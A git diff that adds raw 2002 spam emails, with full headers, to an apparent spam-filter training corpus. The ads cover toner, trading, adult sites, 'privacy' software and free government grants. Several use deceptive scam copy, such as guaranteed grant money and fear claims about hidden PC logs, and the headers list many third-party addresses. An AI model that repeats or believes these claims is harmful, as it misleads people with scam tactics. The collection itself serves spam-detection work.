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color=3D=22#FF0000=22=3E =3BG=FCn=FCm=FCz + T=FCrkiye'sinde internet + araciligiyla yapilan reklamlar hizla artmaktadir=2E T=FCrkiye'de ve d=FCnyada bircok + firma bu y=F6ntemlerle kendini tanitmaktadir=2EBu artisin icinde sizin de yeralmaniz + kacinilmaz bir gercek olacaktir=2E=3C=2Ffont=3E=3C=2Fb=3E=3C=2Ftd=3E=3C=2Ftr=3E=3Ctr=3E + =3Ctd width=3D607 height=3D1=3E=3Cp align=3Dcenter=3E=3Cfont face=3DTahoma size=3D2 color=3D=22#000000=22=3EHerseye ragmen bizden e-mail almak istemiyor ve satisa sundugumuz=3Cbr=3E +  =3Blistelerden cikmak istiyorsaniz =3C=2Ffont=3E=3Cb=3E + =3Ca href=3D=22mailto=3Auyeiptal=40gmx=2Enet=22=3Euyeiptal=40gmx=2Enet=3C=2Fa=3E=3C=2Fb=3E=3Cfont face=3D=22Arial=22 color=3D=22#ffffff=22 size=3D=222=22=3E=3Cb=3E =3B + =3C=2Fb=3E=3C=2Ffont=3E=3Cfont face=3DTahoma size=3D2 color=3D=22#000000=22=3Eadresine bo=FE bir mail g=F6ndermeniz yeterli olacakd=FDr=2E=3C=2Ffont=3E=3C=2Ftd=3E=3C=2Ftr=3E=3C=2Ftable=3E=3C=2Fcenter=3E=3C=2Fdiv=3E +=3C=2Fbody=3E=3C=2Fhtml=3E + + + + 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Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + + diff --git a/bayes/spamham/spam_2/01051.a87f28b7d023a840cb54ed7aa5f4e19b b/bayes/spamham/spam_2/01051.a87f28b7d023a840cb54ed7aa5f4e19b new file mode 100644 index 0000000..7c076b0 --- /dev/null +++ b/bayes/spamham/spam_2/01051.a87f28b7d023a840cb54ed7aa5f4e19b @@ -0,0 +1,56 @@ +From investors9829032400m22@excite.com Fri Jul 26 02:30:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BD58B440E7 + for ; Thu, 25 Jul 2002 21:30:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 02:30:21 +0100 (IST) +Received: from excite.com (mail.alternativas.com.gt [168.234.195.74]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6Q1VR412784 for + ; Fri, 26 Jul 2002 02:31:29 +0100 +Reply-To: +Message-Id: <012e51a35d6d$5238d5e1$5be72de4@fgwbua> +From: +To: +Subject: FREE ONLINE TRADER TRAINING! +Date: Thu, 25 Jul 0102 17:19:50 +0800 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: AOL 7.0 for Windows US sub 118 +Importance: Normal +Content-Transfer-Encoding: 8bit + +Learn from the BEST...for FREE! + +Learn to locate the markets that will make you money. +You'll learn how to find and track both stocks and +commodities with our FREE software. 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    + + +lindacucme@att.net + + diff --git a/bayes/spamham/spam_2/01054.3b393992b2d9b3c2209719e6ac83da11 b/bayes/spamham/spam_2/01054.3b393992b2d9b3c2209719e6ac83da11 new file mode 100644 index 0000000..3e4583e --- /dev/null +++ b/bayes/spamham/spam_2/01054.3b393992b2d9b3c2209719e6ac83da11 @@ -0,0 +1,315 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PEfGi5066072 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 09:41:17 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6PEfGtp066064 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 09:41:16 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PEewi4065996 + for ; Thu, 25 Jul 2002 09:41:14 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id JAA22839 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 09:50:05 -0500 +Received: from cable.net.co (24-196-229-55.charterga.net [24.196.229.55]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id JAA22820; + Thu, 25 Jul 2002 09:49:58 -0500 +From: +Subject: Save up to 50% on laser printer, copier, and fax cartridges. +Date: Thu, 25 Jul 2002 10:33:08 +Message-Id: <675.39658.863299@cable.net.co> +Mime-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +To: undisclosed-recipients:; + + + + + + + + +

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    Item                +Hewlett + Packard                   +Price +

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    1 -- 92274A Toner Cartridge for LaserJet 4L, 4ML, 4P, 4MP +------------------------$47.50
    +     + + +2 -- C4092A Black Toner Cartridge for LaserJet 1100A, ASE, 3200SE-----------------$45.50
    +     +     + +2A - C7115A Toner Cartridge For HP LaserJet 1000, 1200, 3330 ---------------------$55.50
    + +2B - C7115X High Capacity Toner Cartridge for HP LaserJet 1000, 1200, 3330 -------$65.50
    +     +3 -- 92295A Toner Cartridge for LaserJet II, IID, III, IIID ----------------------$49.50
    + +4 -- 92275A Toner Cartridge for LaserJet IIP, IIP+, IIIP -------------------------$55.50
    +     +5 -- C3903A Toner Cartridge for LaserJet 5P, 5MP, 6P, 6Pse, 6MP, 6Pxi ------------$46.50
    + +6 -- C3909A Toner Cartridge for LaserJet 5Si, 5SiMX, 5Si Copier, 8000 ------------$92.50
    +     +7 -- C4096A Toner Cartridge for LaserJet 2100, 2200DSE, 2200DTN ------------------$72.50
    + +8 - C4182X UltraPrecise High Capacity Toner Cartridge for LaserJet 8100 Series---$125.50
    +     +9 -- C3906A Toner Cartridge for LaserJet 5L, 5L Xtra, 6Lse, 6L, 6Lxi, 3100se------$42.50
    + +9A - C3906A Toner Cartridge for LaserJet 3100, 3150 ------------------------------$42.50
    +     +10 - C3900A Black Toner Cartridge for HP LaserJet 4MV, 4V ------------------------$89.50
    + +11 - C4127A Black Toner Cartridge for LaserJet 4000SE, 4000N, 4000T, 4000TN ------$76.50
    +     +11A- C8061A Black Laser Toner for HP LaserJet 4100, 4100N ------------------------$76.50
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    +     +11C- C4127X High Capacity Black Cartridge for LaserJet 4000SE,4000N,4000T,4000TN +-$84.50
    + +12 - 92291A Toner Cartridge for LaserJet IIISi, 4Si, 4SiMX -----------------------$65.50
    +     +13 - 92298A Toner Cartridge for LaserJet 4, 4 Plus, 4M, 4M Plus, 5, 5se, 5M, 5N +--$46.50
    + +14 - C4129X High Capacity Black Toner Cartridge for LaserJet 5000N ---------------$97.50
    +     +15 - LASERFAX 500, 700 (FX1) -----------------------------------------------------$49.00
    + +16 - LASERFAX 5000, 7000 (FX2) ---------------------------------------------------$54.00
    +     +17 - LASERFAX (FX3) --------------------------------------------------------------$49.00
    + +18 - LASERFAX (FX4) --------------------------------------------------------------$49.00     +

    +

    Item            +Hewlett Packard - Color                +   +Price +

    +

    C1 -- C4194a Toner +Cartridge, +Yellow (color lj 4500/4550 series)------------------ $ 89.50
    +    C2 -- C4193a Toner +Cartridge, Magenta (color lj 4500/4550 series)----------------- +$ 89.50
    +C3 -- C4192a toner cartridge, cyan (color lj 4500/4550 series)-------------------- $ +89.50
    +    C4 -- c4191a toner cartridge, black (color lj 4500/4550 series)------------------- +$ 74.50     +

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    Item                    +Lexmark                         +Price +

    +

    19 - 1380520 High Yield Black Laser Toner for 4019, 4019E, 4028, 4029, 6, 10, 10L -- $109.50
    +    20 - 1382150 High Yield Toner for 3112, 3116, 4039-10+, 4049- Model 12L,16R, +Optra - $109.50
    +21 - 69G8256 Laser Cartridge for Optra E, +E+, EP, ES, 4026, 4026 (6A,6B,6D,6E)  ---- $ 49.00
    +    22 - 13T0101 High Yield Toner Cartridge for Lexmark Optra E310, E312, E312L -------- $ 89.00
    +23 - 1382625 High-Yield Laser Toner Cartridge for Lexmark Optra S (4059) ----------- $129.50
    +    24 - 12A5745 High Yield Laser Toner for Lexmark Optra T610, 612, 614 (4069) -------- $165.00     +

    +

    Item                +Epson                     +Price +

    +

    25 +---- S051009 Toner Cartridge for Epson EPL7000, 7500, 8000+ - $115.50
    +    25A --- S051009 LP-3000 PS 7000 -------------------------------- $115.50
    +26 ---- AS051011 Imaging Cartridge for +ActionLaser-1000, 1500 -- $ 99.50
    +    26A --- AS051011 EPL-5000, EPL-5100, EPL-5200 ------------------ $ 99.50
     +

    +

    Item            +Panasonic                +Price

    +

    27 +------Nec series 2 models 90 and 95 ---------------------- $109.50

    +

    Item                +     +Apple                                +Price

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    28 ---- 2473G/A Laser Toner for LaserWriter Pro 600, 630, LaserWriter 16/600 PS - +$ 57.50
    +    29 ---- 1960G/A Laser Toner for Apple LaserWriter Select, 300, 310, 360 --------- $ +71.50
    +30 ---- M0089LL/A Toner Cartridge for Laserwriter 300, 320 (74A) ---------------- $ +52.50
    +    31 ---- M6002 Toner Cartridge for Laserwriter IINT, IINTX, IISC, IIF, IIG (95A) - $ +47.50
    +31A --- M0089LL/A Toner Cartridge for Laserwriter +LS, NT, NTR, SC (75A) --------- $ +55.50
    +    32 ---- M4683G/A Laser Toner for LaserWriter 12, 640PS -------------------------- +$ 85.50
     +

    +

    Item                +Canon                           +Price

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    33 --- Fax +CFX-L3500, CFX-4000 CFX-L4500, CFX-L4500IE & IF FX3 ----------- $ 49.50
    +    33A -- L-250, L-260i, L-300 FX3 ------------------------------------------ +$ 49.50
    +33B -- LASER CLASS 2060, 2060P, 4000 FX3 --------------------------------- +$ 49.50
    +    34 --- LASER CLASS 5000, 5500, 7000, 7100, 7500, 6000 FX2 ---------------- +$ 49.50
    +35 --- FAX 5000 FX2 ------------------------------------------------------ +$ 49.50
    +    36 --- LASER CLASS 8500, 9000, 9000L, 9000MS, 9500, 9500 MS, 9500 S FX4 -- +$ 49.50
    +36A -- Fax L700,720,760,770,775,777,780,785,790, & L3300 FX1 +------------- $ 49.50
    +    36B -- L-800, L-900 FX4 -------------------------------------------------- +$ 49.50
    +37 --- A30R Toner Cartridge for PC-6, 6RE, 7, 11, 12 --------------------- +$ 59.50
    +    38 --- E-40 Toner Cartridge for PC-720, 740, 770, 790,795, 920, 950, 980 - +$ 85.50
    +38A -- E-20 Toner Cartridge for PC-310, 325, 330, 330L, 400, 420, 430 ---- +$ 85.50
     +

    +

    Item   +Xerox    Price

    +

    39 ---- 6R900 75A ---- $ 55.50
    +    40 ---- 6R903 98A ---- $ 46.50
    +41 ---- 6R902 95A ---- $ 49.50
    +    42 ---- 6R901 91A ---- $ 65.50
    +43 ---- 6R908 06A ---- $ 42.50
    +    44 ---- 6R899 74A ---- $ 47.50
    +45 ---- 6R928 96A ---- $ 72.50
    +    46 ---- 6R926 27X ---- $ 84.50
    +47 ---- 6R906 09A ---- $ 92.50
    +    48 ---- 6R907 4MV ---- $ 89.50
    +49 ---- 6R905 03A ---- $ 46.50

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    All trade marks and brand names listed above are property +of the respective
    +holders and used for descriptive purposes only.     +     +     +     +

    + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01055.6235123a9b08a94a2262000419edd68a b/bayes/spamham/spam_2/01055.6235123a9b08a94a2262000419edd68a new file mode 100644 index 0000000..ccdea21 --- /dev/null +++ b/bayes/spamham/spam_2/01055.6235123a9b08a94a2262000419edd68a @@ -0,0 +1,99 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PAlXi5073503 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 05:47:34 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6PAlXAV073499 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 05:47:33 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PAlPi5073473 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 05:47:26 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6PAlOJ77895 + for ; Thu, 25 Jul 2002 06:47:24 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6PAlNf14374 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 06:47:23 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6PAlMR14359 + for ; Thu, 25 Jul 2002 06:47:22 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6PAlLJ77879 + for ; Thu, 25 Jul 2002 06:47:21 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id FAA14379 + for cpunks@minder.net; Thu, 25 Jul 2002 05:56:16 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id FAA14371 + for cypherpunks-outgoing; Thu, 25 Jul 2002 05:56:08 -0500 +Received: from hotmail.com ([211.167.136.87]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id FAA14323; + Thu, 25 Jul 2002 05:55:37 -0500 +Date: Thu, 25 Jul 2002 05:55:37 -0500 +From: stg4@hotmail.com +Message-ID: <008b73e15aec$3836d3d3$3ab60da0@vpxxqt> +To: jjr@yahoo.com +Old-Subject: CDR: Hi +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Hi + +Do you dream of working for yourself? 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Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01056.c7e5574c3a036313b160b31234e7d81e b/bayes/spamham/spam_2/01056.c7e5574c3a036313b160b31234e7d81e new file mode 100644 index 0000000..da3139f --- /dev/null +++ b/bayes/spamham/spam_2/01056.c7e5574c3a036313b160b31234e7d81e @@ -0,0 +1,176 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PBN3i5087599 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 06:23:04 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6PBN38o087595 + for cypherpunks-forward@ds.pro-ns.net; Thu, 25 Jul 2002 06:23:03 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6PBN1i5087585 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Thu, 25 Jul 2002 06:23:02 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6PBN0J79180 + for ; Thu, 25 Jul 2002 07:23:00 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6PBMxL16829 + for cypherpunks@ds.pro-ns.net; Thu, 25 Jul 2002 07:22:59 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6PBMxR16808 + for ; Thu, 25 Jul 2002 07:22:59 -0400 +Received: from 211.248.161.252 (IDENT:nobody@[211.248.161.252]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6PBMuJ79166 + for ; Thu, 25 Jul 2002 07:22:57 -0400 (EDT) + (envelope-from cu@africamail.com) +Message-Id: <200207251122.g6PBMuJ79166@locust.minder.net> +Received: from unknown (HELO da001d2020.lax-ca.osd.concentric.net) (194.29.209.49) by f64.law4.hotmail.com with QMQP; Jul, 25 2002 3:57:49 AM -0100 +Received: from [110.188.46.152] by mta05bw.bigpond.com with QMQP; Jul, 25 2002 2:56:10 AM -0700 +Received: from ssymail.ssy.co.kr ([115.212.44.160]) by hd.regsoft.net with asmtp; Jul, 25 2002 2:00:03 AM -0100 +From: Account Password +To: cpunks@minder.net +Cc: +Subject: Fw: Re: User Name & Password to Membership To 15 Sites cpunks@minder.net pknkn +Sender: Account Password +Mime-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Thu, 25 Jul 2002 04:23:13 -0700 +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6PDahi4040493 + +################################################## +# # +# Adult Club=99 # +# Offers FREE Membership # +# # +################################################## + +15 of the Best Adult Sites on the Internet for FREE! +>>> INSTANT ACCESS TO ALL SITES NOW +>>> Your User Name And Password is. +>>> User Name: cpunks@minder.net +>>> Password: d0949w4z + +--------------------------------------- + +NEWS 07/01/02 +With just over 2.2 Million Members that signed up for FREE, Last month th= +ere were 429,947 New=20 +Members. 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Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01057.b3913dec24f1b61e2ff45e30cdbb8fcd b/bayes/spamham/spam_2/01057.b3913dec24f1b61e2ff45e30cdbb8fcd new file mode 100644 index 0000000..c0fe13b --- /dev/null +++ b/bayes/spamham/spam_2/01057.b3913dec24f1b61e2ff45e30cdbb8fcd @@ -0,0 +1,91 @@ +From pitster262859971@hotmail.com Thu Jul 25 15:13:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6603C440D0 + for ; Thu, 25 Jul 2002 10:13:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 15:13:51 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PECI406742 for + ; Thu, 25 Jul 2002 15:12:18 +0100 +Received: from Server.lagunadelmar.com.mx + (customer-148-223-70-14.uninet.net.mx [148.223.70.14] (may be forged)) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6PEBWp22700 for + ; Thu, 25 Jul 2002 15:11:33 +0100 +Message-Id: <200207251411.g6PEBWp22700@mandark.labs.netnoteinc.com> +Received: from 200.46.39.93 (OPERACIONES3 [200.46.39.93]) by + Server.lagunadelmar.com.mx with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id PSY8BMPH; Thu, 25 Jul 2002 05:22:25 -0700 +From: "ALLISON" +To: jlugo@compaq.net, jlwilson@iserv.net, jlynn@scia.net, + jm174@vh.net, jm68fr@hotmail.com, jma@students.cc.tut.fi, + jma2001@juno.com, jlyoung77@hotmail.com, jm.germain@agf-cognac.com, + jm1999@gurlmail.com, jm2@ix.netcom.com +Cc: yyyy4jghaibnpx@asiansonly.net, yyyy923@hotmail.com, yyyy@stratos.net, + jma51@msn.com, jmaaron_4@umailme.com, jmac479217@att.net, + jmacadoo@usa.net, jltena@hotmail.com, jlundblad@juno.com, + jluu@amega.com +Date: Thu, 25 Jul 2002 07:28:38 -0400 +Subject: Ez Internet Privacy is finally here +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +Dear Computer User jlugo , + + + +

    YOUR INTERNET USAGE IS BEING TRACKED
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    +forever! How would you feel if a snoop made this information public to your
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    +Else you or anyone else have ever viewed could easily be recovered - even
    +many years later!
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    + 

    +

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    + + + + + diff --git a/bayes/spamham/spam_2/01058.c5bf6182a887f342973383823dd22d0c b/bayes/spamham/spam_2/01058.c5bf6182a887f342973383823dd22d0c new file mode 100644 index 0000000..51d57a6 --- /dev/null +++ b/bayes/spamham/spam_2/01058.c5bf6182a887f342973383823dd22d0c @@ -0,0 +1,86 @@ +From pitster262859971@hotmail.com Mon Jul 29 11:21:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EAD8844109 + for ; Mon, 29 Jul 2002 06:20:57 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:20:57 +0100 (IST) +Received: from Server.lagunadelmar.com.mx (customer-148-223-70-14.uninet.net.mx [148.223.70.14] (may be forged)) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6S0mEp32660 + for ; Sun, 28 Jul 2002 01:48:15 +0100 +Message-Id: <200207280048.g6S0mEp32660@mandark.labs.netnoteinc.com> +Received: from 200.46.39.93 (OPERACIONES3 [200.46.39.93]) by Server.lagunadelmar.com.mx with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id PSY8BMPH; Thu, 25 Jul 2002 05:22:25 -0700 +From: "ALLISON" +To: jlugo@compaq.net, jlwilson@iserv.net, jlynn@scia.net, + jm174@vh.net, jm68fr@hotmail.com, jma@students.cc.tut.fi, + jma2001@juno.com, jlyoung77@hotmail.com, jm.germain@agf-cognac.com, + jm1999@gurlmail.com, jm2@ix.netcom.com +Cc: yyyy4jghaibnpx@asiansonly.net, yyyy923@hotmail.com, yyyy@stratos.net, + jma51@msn.com, jmaaron_4@umailme.com, jmac479217@att.net, + jmacadoo@usa.net, jltena@hotmail.com, jlundblad@juno.com, + jluu@amega.com +Date: Thu, 25 Jul 2002 07:28:38 -0400 +Subject: Ez Internet Privacy is finally here +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +Dear Computer User jlugo , + + + +

    YOUR INTERNET USAGE IS BEING TRACKED
    +You have no privacy protection.
    +Will your BOSS, WIFE or KIDS find out?
    +
    +
    +     +DOWNLOAD EZ INTERNET PRIVACY SOFTWARE
    +
    ++++++++++++++++++++++++++++++++++++++++++++
    +
    +
    +You're in Serious Trouble - It's a Proven Fact!
    +
    +
    +Deleting "Internet Cache and History" will NOT protect you because any of
    +the Web Pages, Pictures, Movies, Videos, Sounds, E-mail, Chat Logs and
    +Everything Else you see or do could easily be recovered to Haunt you
    +forever! How would you feel if a snoop made this information public to your
    +Spouse, Mother & Father, Neighbors, Children, Boss or the Media? It could
    +easily Ruin Your Life! Solve all your problems and enjoy all the benefits of
    +an "As New PC", EZ INTERNET PRIVACY SOFTWARE can Speed-Up your PC/Internet Browser,
    +reclaim Hard Disk space and Professionally Clean your PC in one easy mouse
    +click!
    +
    +
    +Did you know for example that every click you make on Windows 98 Start Menu
    +is logged and stored permanently on a hidden encrypted database within your
    +own computer?
    +Deleting "internet cache and history", will not protect you... your PC is
    +keeping frightening records of both your online and off-line activity. Any
    +of the Web Pages, Pictures, Movies, Videos, Sounds, E-mail and Everything
    +Else you or anyone else have ever viewed could easily be recovered - even
    +many years later!
    +How would you feel if somebody snooped this information out of your computer
    +and made it public?
    +Do your children or their friends use your computers? What have they
    +downloaded and tried to delete?
    +Act now! And stop these files coming "back from the dead" to haunt you!
    + 

    +

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    +

     

    +

     

    +

     

    +

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    +

    +  +Free Personal and Business Grants

    + +

      +

    + + + +
    +
    +

    +" Qualify for at least $25,000 in free +grants money - Guaranteed! "

    +
    + +
    +

    +Each day over One Million Dollars in Free +Government
    +Grants  is given away to people just like you for a wide
    +variety of Business And Personal Needs

    +        +Dear Grant Seeker, +
    In a moment, I'll tell you +exactly HOW & WHERE to get Grants. This MONEY has to +be given away, WHY not to YOU?
    + +
    You may be thinking, "How +can I get some of this Free Grants Money"
    + +
    Maybe you think it's impossible +to get free money?
    + +
    Let me tell you it's not +impossible! It's a fact, ordinary people and businesses all across the +United States are receiving millions of dollars from these Government and +Private Foundation's everyday.
    + +
    Who Can Apply?
    + +
    ANYONE can apply +for a Grant from 18 years old and up!
    + +
    Grants from $500.00 to $50,000.00 +are possible! GRANTS don't have to be paid back, +EVER! Claim +your slice of the FREE American Pie.
    + +
    This money is not a loan, +Trying to get money through a conventional bank can be very time consuming +and requires a lot of paperwork, only to find out that you've been denied. +These Government Agencies don't have to operate under the same stringent +requirements that banks do.
    + +
    You decide how much money +you need, as long as it's a lawful amount and meets with the Government +Agencies criteria, the money is yours to keep and never has to be repaid. +This money is non taxable & interest free.
    + +
    None of these programs require +a credit check, collateral, security deposits or co-signers, you can apply +even if you have a bankruptcy or bad credit, it doesn't matter, you as +a tax payer and U.S. citizen are entitled to this money.
    + +
    There are currently over +1,400 Federal Programs, 24,000 State Programs, 30,000 Private Foundations +and 20,000 Scholarship Programs available.
    + +
    This year over $30 Billion +Dollars In Free personal and business Government Grants Money will be given +away by Government Grants Agencies.
    + + +
      +
    + + + +
    +
    +

    +Government Personal +and Business Grants Facts:

    +Over 20 Million People Get Government +Money Every Year: +
      1,000,000 entrepreneurs get money +to start or expand a business +

      4,000,000 people get money to invest +in real estate +

      6,000,000 people get money to go +to college +

      10,000,000 people get free help and +training for a better job

    +
    + +

    +Getting Business +Grants

    + +
    Anyone thinking about going +into business for themselves, or wanting to expand an existing business +should rush for the world's largest "one-stop-money-shop" where FREE business +grants to start or expand a business is being held for you by the Federal +Government.
    + +
    It +sounds absolutely incredible that people living right here in the United +States of America wouldn't know that each year the world's largest source +of free business help delivers:
    + +
      Over $30 billion dollars in free +business grants and low-interest loans; +

      over one-half trillion dollars in +procurement contracts; and +

      over $32 billion dollars in FREE +consulting and research grants.

    + +
    With an economy that remains +unpredictable, and a need for even greater economic development on all +fronts, the federal government is more willing than it ever has been before +to give you the money you need to own your own business and become your +own boss!
    + +
    In +spite of the perception that people should not look to the government for +help, the great government give-away programs have remained so incredibly +huge that if each of the approximately 8 million businesses applied for +an equal share, they would each receive over $70,000.
    + +
    Most +people never apply for FREE Business Grants because they somehow feel it +isn't for them, feel there's too much red-tape, or simply don't know who +to contact.The fact is, however, that people from all walks of life do +receive FREE GRANTS MONEY and other benefits from the government, and you +should also.
    + +

    +Government Grants +for Personal Need

    + +
    Help to buy a new home for +low income families, repair your home, rent, mortgage payments, utility +bills, purchase a new car, groceries, childcare, fuel, general living expenses, +academic tutoring, clothing, school supplies, housing assistance, legal +services, summer camp, debts, music lessons, art lessons, any extracurricular +activities, pay bills for senior citizens, real estate taxes, medical expenses +and general welfare. If you or someone you know suffered a fire lose there +are programs available to help in replacing necessities.
    + +

    +Scholarships And +Grants For Education

    + +
    Grant Money for preschool +children and nursery school education, private, primary and secondary schools, +men and women to further their education, scholarships for athlete's, business +management, engineering, computer science, medical school, undergraduate, +graduate, professional, foreign studies and many more.
    + +

    +Here's How You +Can Get Free Grants
    +In The Shortest Time Possible

    + +
    Once you know how and where +to apply for a specific Free Grant, results are almost inevitable. The +government wants to give away this money. . . it is under congressional +mandate to do so! These funds are made available to help you, the tax payer. +All that's required from you is the proper presentation of your grant request. +That's all.
    +Announcing... +
    +

    +"The Complete +Guide To Government Grants"

    + +
    Forget just about everything +you've seen or heard about government grants. What I've done is put together +a complete blueprint for researching, locating and obtaining government +grants. "The Complete Guide To Government Grants" is the most comprehensive +tool for obtaining free grant money, and it comes in an Electronic book +
    (e-book) format, meaning you can +download and start using it minutes after you order.
    + +
    The +Complete Guide to Government Grants will provide you with access to thousands +of grant and loan sources, with step by step instructions to proposal writing +and contact procedures.
